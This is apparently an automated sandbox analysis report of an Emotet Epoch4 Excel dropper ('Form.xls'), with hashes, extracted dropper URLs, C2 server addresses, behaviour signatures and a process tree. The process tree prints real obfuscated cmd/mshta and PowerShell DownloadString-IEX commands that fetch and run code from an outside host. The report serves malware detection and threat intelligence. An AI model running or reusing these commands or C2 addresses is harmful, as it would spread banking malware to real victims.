emotet | 1c12a653dd7eea136fc613f37655963704f5f4d757183cf6463256f116fd4f97

General

Target

Form.xls
Size

47KB
MD5

f3d197c0579236d94decb0af7de08f3d
SHA1

c2c3b665019de5aba0962053c6c811e272d041fe
SHA256

1c12a653dd7eea136fc613f37655963704f5f4d757183cf6463256f116fd4f97
SHA512

c2357597de2e8ef838c86d6c1cbde9d81f5b6c9df788c83874b2d4aca6a829d4caacc3f1b48d0d5f2e093c24bcbb797cc865e2cb25fa98244e4c61cdc47dbfd4

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4228	3032	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

36 2328 mshta.exe
39 4292 powershell.exe
41 4292 powershell.exe
49 3932 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2316 rundll32.exe
4260 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Xlsvbbbrmq\scuabujgz.ydt rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3716 2328 WerFault.exe mshta.exe

flow	pid	process
36	2328	mshta.exe
39	4292	powershell.exe
41	4292	powershell.exe
49	3932	rundll32.exe

pid	process
2316	rundll32.exe
4260	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Xlsvbbbrmq\scuabujgz.ydt	rundll32.exe

pid	pid_target	process	target process
3716	2328	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3032 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
4292	powershell.exe
4292	powershell.exe
4292	powershell.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3716	WerFault.exe
3932	rundll32.exe
3932	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 4292 powershell.exe
Token: SeDebugPrivilege 3716 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	3716	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE
3032	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3032 wrote to memory of 4228	3032	EXCEL.EXE	CMD.EXE
PID 3032 wrote to memory of 4228	3032	EXCEL.EXE	CMD.EXE
PID 4228 wrote to memory of 2328	4228	CMD.EXE	mshta.exe
PID 4228 wrote to memory of 2328	4228	CMD.EXE	mshta.exe
PID 2328 wrote to memory of 4292	2328	mshta.exe	powershell.exe
PID 2328 wrote to memory of 4292	2328	mshta.exe	powershell.exe
PID 4292 wrote to memory of 1548	4292	powershell.exe	cmd.exe
PID 4292 wrote to memory of 1548	4292	powershell.exe	cmd.exe
PID 1548 wrote to memory of 2316	1548	cmd.exe	rundll32.exe
PID 1548 wrote to memory of 2316	1548	cmd.exe	rundll32.exe
PID 1548 wrote to memory of 2316	1548	cmd.exe	rundll32.exe
PID 2316 wrote to memory of 4260	2316	rundll32.exe	rundll32.exe
PID 2316 wrote to memory of 4260	2316	rundll32.exe	rundll32.exe
PID 2316 wrote to memory of 4260	2316	rundll32.exe	rundll32.exe
PID 4260 wrote to memory of 2988	4260	rundll32.exe	rundll32.exe
PID 4260 wrote to memory of 2988	4260	rundll32.exe	rundll32.exe
PID 4260 wrote to memory of 2988	4260	rundll32.exe	rundll32.exe
PID 2988 wrote to memory of 3932	2988	rundll32.exe	rundll32.exe
PID 2988 wrote to memory of 3932	2988	rundll32.exe	rundll32.exe
PID 2988 wrote to memory of 3932	2988	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2316

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4260

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xlsvbbbrmq\scuabujgz.ydt",mRyQbfy
8⤵
- Suspicious use of WriteProcessMemory
PID:2988

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xlsvbbbrmq\scuabujgz.ydt",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3932

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2328 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3716

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
memory/2316-326-0x0000000004C60000-0x0000000004C85000-memory.dmp

Filesize
148KB

Download
memory/3032-129-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/3032-128-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Filesize
64KB

Download
memory/3032-119-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-388-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-387-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-386-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-385-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-115-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-118-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-117-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3032-116-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Filesize
64KB

Download
memory/3932-350-0x00000000054B0000-0x00000000054D5000-memory.dmp

Filesize
148KB

Download
memory/3932-352-0x0000000005590000-0x00000000055B5000-memory.dmp

Filesize
148KB

Download
memory/3932-373-0x0000000005940000-0x0000000005965000-memory.dmp

Filesize
148KB

Download
memory/3932-361-0x0000000005850000-0x0000000005875000-memory.dmp

Filesize
148KB

Download
memory/3932-356-0x0000000005750000-0x0000000005775000-memory.dmp

Filesize
148KB

Download
memory/3932-354-0x0000000005670000-0x0000000005695000-memory.dmp

Filesize
148KB

Download
memory/4260-338-0x0000000005710000-0x0000000005735000-memory.dmp

Filesize
148KB

Download
memory/4260-342-0x00000000057D0000-0x00000000057F5000-memory.dmp

Filesize
148KB

Download
memory/4260-346-0x0000000005990000-0x00000000059B5000-memory.dmp

Filesize
148KB

Download
memory/4260-340-0x0000000005770000-0x0000000005795000-memory.dmp

Filesize
148KB

Download
memory/4260-336-0x00000000055B0000-0x00000000055D5000-memory.dmp

Filesize
148KB

Download
memory/4260-334-0x00000000054D0000-0x00000000054F5000-memory.dmp

Filesize
148KB

Download
memory/4260-329-0x0000000003560000-0x0000000003585000-memory.dmp

Filesize
148KB

Download
memory/4292-314-0x00000224C2FB0000-0x00000224C3026000-memory.dmp

Filesize
472KB

Download
memory/4292-319-0x00000224C2736000-0x00000224C2738000-memory.dmp

Filesize
8KB

Download
memory/4292-303-0x00000224C2A60000-0x00000224C2A9C000-memory.dmp

Filesize
240KB

Download
memory/4292-292-0x00000224C2733000-0x00000224C2735000-memory.dmp

Filesize
8KB

Download
memory/4292-291-0x00000224C2730000-0x00000224C2732000-memory.dmp

Filesize
8KB

Download
memory/4292-282-0x00000224C28D0000-0x00000224C28F2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads